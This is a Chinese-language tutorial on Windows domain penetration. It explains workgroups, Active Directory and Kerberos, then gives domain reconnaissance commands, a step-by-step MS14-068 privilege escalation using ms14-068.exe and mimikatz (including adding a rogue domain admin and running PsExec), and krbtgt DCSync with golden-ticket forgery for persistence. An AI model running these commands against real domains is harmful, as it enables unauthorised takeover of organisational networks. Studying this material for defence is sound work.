0x01 基础知识
1.域和工作组的区别
域和工作组是局域网上两种不同的网络资源管理模式,它们之间的主要区别是对网络中的计算机和其他资源的管理方式不同。
工作组
概述:工作组是最常用最简单最普遍的资源管理模式。为什么说他简单是因为默认情况下windows计算机都是采用工作组方式进行资源管理的。默认情况下所有计算机都处在名为workgroup的工作组中。
优点:将不同的电脑一般按功能分别列入不同的组中,如软件部的电脑都列入“软件部”工作组中,网络部的电脑都列入“网络部”工作组中。你要访问某个部门的资源,就在“网上邻居”里找到那个部门的工作组名,双击就可以看到那个部门的电脑了。计算机通过工作组进行分类,使得我们访问资源更加具有层次化。
问题:没有办法统一管理(比如统一安装软件);没办法集中身份验证(工作组中的计算机相互独立,相互访问时需要输入密码的)
特点:工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。他的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。
域
- 概述:与工作组的平等性有所不同,“域”是一个相对严格的管理模式,解决了工作组无法统一管理、没办法集中身份验证的问题。“域”指的是服务器控制网络上的计算机能否加入。实行严格的管理对网络安全是非常必要的。
- 概念解释:
活动目录(Active Directory),AD:活动目录是WindowsServer在网络环境中提供的“资源目录”。活动目录是储存着域中相关资源信息的目录,例如计算机,用户组,数据库,服务器,打印机,用户属性(权限等),就像一个数据库。
域控(Domain Controller),DC:安装了AD的服务器就是域控制器,即有AD的计算机就是DC。
2.DNS定位域控制器
DNS负责将域名解析成IP地址
内网的DNS则可以定位DC,域会有名称,比如domaintest。域会向DNS注册这个名称,即SRV记录。域中的计算机访问SRV来进而访问DC。
通常DNS和DC会安装在同一计算机上,因而此计算的本地连接DNS要指向自身。
3.AD(活动目录)的安装
Windows2008R2中创建域控制器参考文章Windows2008如何配置域控制器(活动目录)
主要命令dcpromo然后根据需要下一步即可。
搭建完AD之后,主域控会生成一个krbtgt账号,他是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证
4.域成员主机加入
域成员的加入,需要注意的是:
那么在加入域之后有什么变化呢?
其中比较明显的就是在登陆的时候,可以发现xp传统的登陆界面没有了。而出现了一个登陆界面,在这个界面中可可以选择以域内其他用户的身份登陆主机。
添加域用户
思考?
域管理员、域用户、域成员主机?区别
0x02 kerberos
简单介绍
kerberos一词原意为希腊神话中守护地狱之门的一条三头神犬。麻省理工学院在雅典娜计划中以此为名,提出了并实现了用于计算机网络的身份认证协议。以kerberos为名,显示了该协议具有相当的安全性。
功能
- 一个安全认证协议
- 用tickets验证
- 避免本地保存密码和在互联网上传输密码
- 包含一个可信任的第三方
- 使用对称加密
- 客户端与服务器之间能够相互验证
以上的特点表明,Kerberos只提供一种功能——在网络上安全的完成用户的身份验证
认证过程
kerberos协议的认证过程可以两个部分:
- 证明自己
- 请求他人
在说明kerberos的认证过程之前,先简单介绍几个基本的名词。
- KDC (key distribution center) key分配中心,受信任的第三方
证明自己的过程
Client向KDC发送自己的身份信息,KDC从Ticket Granting Service得到TGT(ticket-granting ticket), 并用协议开始前Client与KDC之间的密钥将TGT加密回复给Client。
此时只有真正的Client才能利用它与KDC之间的密钥将加密后的TGT解密,从而获得TGT。(此过程避免了Client直接向KDC发送密码,以求通过验证的不安全方式)
请求他人的过程
Client利用之前获得的TGT向KDC请求其他Service的Ticket,从而通过其他Service的身份鉴别。
1. Client将之前获得TGT和要请求的服务信息(服务名等)发送给KDC,KDC中的Ticket Granting Service将为Client和Service之间生成一个Session Key用于Service对Client的身份鉴别。然后KDC将这个Session Key和用户名,用户地址(IP),服务名,有效期, 时间戳一起包装成一个Ticket(这些信息最终用于Service对Client的身份鉴别)发送给Service, 不过Kerberos协议并没有直接将Ticket发送给Service,而是通过Client转发给Service.所以有了第二步。
2. 此时KDC将刚才的Ticket转发给Client。由于这个Ticket是要给Service的,不能让Client看到,所以KDC用协议开始前KDC与Service之间的密钥将Ticket加密后再发送给Client。同时为了让Client和Service之间共享那个秘密(KDC在第一步为它们创建的Session Key), KDC用Client与它之间的密钥将Session Key加密随加密的Ticket一起返回给Client。
3. 为了完成Ticket的传递,Client将刚才收到的Ticket转发到Service. 由于Client不知道KDC与Service之间的密钥,所以它无法算改Ticket中的信息。同时Client将收到的Session Key解密出来,然后将自己的用户名,用户地址(IP)打包成Authenticator用Session Key加密也发送给Service。
4. Service 收到Ticket后利用它与KDC之间的密钥将Ticket中的信息解密出来,从而获得Session Key和用户名,用户地址(IP),服务名,有效期。然后再用Session Key将Authenticator解密从而获得用户名,用户地址(IP)将其与之前Ticket中解密出来的用户名,用户地址(IP)做比较从而验证Client的身份。
5. 如果Service有返回结果,将其返回给Client。
上面是标准Kerberos协议的基本流程,MIT也实现了一套标准的Kerberos协议,而微软在Windows平台上的Kerberos并没有采用MIT的实现,而是对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(PrivilegeAttribute Certificate),特权属性证书。
0X03 信息收集
- 常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
ipconfig /all ------ 查询本机IP段,所在域等
net user ------ 本机用户列表
net localgroup administrators ------ 本机管理员[通常含有域用户]
net user /domain ------ 查询域用户
net group /domain ------ 查询域里面的工作组
net group "domain admins" /domain ------ 查询域管理员用户组
net localgroup administrators /domain ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ------域用户添加到本机
net group "domain controllers" /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判断主域,主域服务器都做时间服务器
net config workstation ------ 当前登录域
net session ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username ------ 建立IPC会话
net share ------ 查看SMB指向的路径[即共享]
net view ------ 查询同一域内机器列表
net view \\ip ------ 查询某IP共享
net view /domain ------ 查询域列表
net view /domain:domainname ------ 查看workgroup域中计算机列表
net start ------ 查看当前运行的服务
net accounts ------ 查看本地密码策略
net accounts /domain ------ 查看域密码策略
nbtstat –A ip ------netbios 查询
netstat –an/ano/anb ------ 网络连接查询
route print ------ 路由表
tasklist /V ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V ----- 查看远程计算机进程列表
qprocess * ----- 类似tasklist
qprocess /SERVER:IP ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com ----- 查看邮件服务器
whoami /all ----- 查询当前用户权限等
set ----- 查看系统环境变量
systeminfo ----- 查看系统信息
qwinsta ----- 查看登录情况
qwinsta /SERVER:IP ----- 查看远程登录情况
fsutil fsinfo drives ----- 查看所有盘符
gpupdate /force ----- 更新域策略
0x04 获取域管理员权限:MS14-068
ms14-068漏洞在域控没有打补丁(kb3011780)时,能将任意域用户,提升为域管理员权限。
该漏洞利用是通过客户端来伪造高权限的PAC产生的。
详细介绍:深入解读MS14-068漏洞
补充:添加域用户MS14-068 域用户权限提升漏洞复现
- 神器mimikatz
1 | privilege::debug |
- ms14068.exe 伪造kerberos票据
1
net group "domain controllers" /domain 获取计算机名称
1 | ms14-068.exe -u test@domaintest.com -p 123456 -s S-1-5-21-1607545464-3564583392-2085136103-1114 |
- mimikatz 导入票据
1 | mimikatz.exe "kerberos::ptc TGT_test@domaintest.com.ccache" exit |
拿到域管理权限便可进行其他一系列操作1
2
3
4
5
6dir \\WIN-0IQJV7P073G.domaintest.com\c$ 注意这里应为域控主机名称,不能为ip
net user admin xxxxx@password /add /domain
net group "Domain Admins" admin /add /domain
PsExec.exe \\192.168.111.129 cmd.exe
0x05 权限维持:黄金票据
原理
每个用户的Ticket都是由krbtgt的密码Hash来生成的,那么,我们如果拿到了krbtgt的密码Hash,不就可以随意伪造Ticket了吗?
实际上只要拿到了域控权限,在上面就可以很容易的获得krbtgt的Hash值,再通过mimikatz即可生成任意用户任何权限的Ticket,也就是Golden Ticket
获取krbtgt1
mimikatz log "lsadump::dcsync /domaintest.com /user:krbtgt"
构造黄金票据并注入内存1
2
3
4mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:domaintest.com /sid:S-1-5-21-3883552807-251258116-2724407435 /krbtgt:6a8e501fabcf264c70ef3316c6aab7dc /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt
当然除了golden ticket,silver ticket之外还有kerberos ticket,历史SID,AdminSDHolder,DSRM,GPP,DCSync等技术手段都可以用来当做域控的隐藏后门。
参考文章
域渗透——Pass The Ticket
l3m0n:从零开始内网渗透学习
初级域渗透系列 - 01. 基本介绍&信息获取
初级域渗透系列 - 02. 常见攻击方法 - 1
初级域渗透系列 - 03. 常见攻击方法